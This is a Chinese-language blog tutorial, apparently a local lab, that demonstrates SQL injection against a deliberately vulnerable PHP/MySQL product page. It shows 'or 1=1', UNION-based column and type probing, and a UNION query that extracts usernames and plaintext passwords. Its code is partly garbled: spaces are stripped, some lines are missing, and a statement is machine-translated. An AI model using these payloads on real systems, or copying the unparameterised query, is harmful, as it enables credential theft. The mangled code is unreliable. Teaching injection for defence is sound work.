当前位置: 首页 > 后端技术 > PHP

PHPSQL注入的完整流程

时间:2023-03-29 20:54:29 PHP

本文介绍了PHPSQL注入的完整流程。现在,我将与您分享。有需要的朋友可以参考一下,希望对你有所帮助。很多PHPer总是会遇到一些问题和瓶颈。业务代码写多了没有方向感。我不知道从哪里开始改进。我整理了一些这方面的资料,包括但不限于:分布式架构、高扩展、高性能、高并发、服务器性能调优、TP6、laravel、YII2、Redis、Swoole、Swoft、Kafka、Mysql优化、shell脚本、Docker、微服务、Nginx等知识点进阶进阶干货需要免费分享给大家,需要的可以点这里加入我的官方群。在学习了SQL注入的一些技巧之后,下面是PHP+MYSQL的SQL注入的简单实践。首先观察两个MYSQL数据表用户记录表:REATETABLE`php_user`(`id`int(11)NOTNULLauto_increment,`username`varchar(20)NOTNULLdefault'',`password`varchar(20)NOTNULLdefault'',`userlevel`char(2)NOTNULLdefault'0',PRIMARYKEY(`id`))TYPE=MyISAMAUTO_INCREMENT=3;INSERTINTO`php_user`VALUES(1,'seven','seven_pwd','10');INSERTINTO`php_user`VALUES(2,'swons','swons_pwd','');产品记录列表:CREATETABLE`php_product`(`id`int(11)NOTNULLauto_increment,`name`varchar(100)NOTNULLdefault'',`price`floatNOTNULLdefault'0',`img`varchar(200)NOTNULLdefault'',PRIMARYKEY(`id`))TYPE=MyISAMAUTO_INCREMENT=3;INSERTINTO`php_product`VALUES(1,'name_1',12.2,'images/name_1.jpg');插入到`php_product`VALUES(2,'name_2',35.25,'images/name_2.jpg');以下文件是show_product.php用于显示产品列表。SQL注入也利用了这个文件的SQL语句漏洞';$result=mysql_query($sql);if(!$result){echo"查询错误".mysql_error();exit;}if(mysql_num_rows($result)==0){echo"Noqueryresult";exit;}while($row=mysql_fetch_assoc($result)){echo'ID:'.$row["id"].'
';echo'name:'.$row["name"].'
';echo'price:'.$row["price"].'
';echo'image:'.$row["img"].'
';}?>观察这个语句:$sql="SELECT*FROMphp_productWHEREid=$tempID";$tempID是从$_GET得到的。我们可以构造这个变量的值来达到SQL注入的目的,分别构造如下链接:1.http://localhost/phpsql/index...得到如下输出SELECT*FROMphp_productWHEREid=1//当前执行的SQL语句//获取ID为1的商品信息列表ID:1name:name_1price:12.2image:images/name_1.jpg2,http://localhost/phpsql/index...or1=1获取输出SELECT*FROMphp_productWHEREid=1or1=1//当前执行的SQL语句//一共两个商品信息列表ID:1name:name_1price:12.2image:images/name_1.jpgID:2name:name_2price:35.25image:images/name_2.jpg1和2都得到数据列表输出,证明sql语句执行成功3.判断数据表字段数http://localhost/phpsql/index...unionselect1,1,1,1得到输出SELECT*FROMphp_productWHEREid=1unionselect1,1,1,1//当前执行的SQL语句//一共两条记录,注意是第二条记录全为1,是unionselect联合查询的结果。ID:1name:name_1price:12.2image:images/name_1.jpgID:1name:1price:1image:14.判断数据表字段类型http://localhost/phpsql/index...unionselectchar(65),char(65),char(65),char(65)getoutputSELECT*FROMphp_productWHEREid=1unionselectchar(65),char(65),char(65),char(65)ID:1name:name_1price:12.2image:images/name_1.jpgID:0name:Aprice:0image:A注意第二条记录。如果后面的值等于A,说明这个字段匹配联合查询后构造的字段类型。这时union后面跟着char(65),表示字符串类型。经过观察。可以发现name字段和image字段的类型都是string类型。:SELECT*FROMphp_productWHEREid=10000unionselect1,username,1,passwordfromphp_user//输出两个用户配置文件,name为用户名,image为用户密码。ID:1name:sevenprice:1image:seven_pwdID:1name:swonsprice:1image:swons_pwd注意URL中的ID=10000是为了不获取商品信息,只获取后面联合的查询结果。比较实用的ID值是不一样的。联盟的用户名和密码必须放在2和4的位置。只有这样才能匹配到前面的select语句。这是union查询语句的一个特点注意:这种简单的注入方式对环境更具体。实际上比这更复杂。但原理是一样的。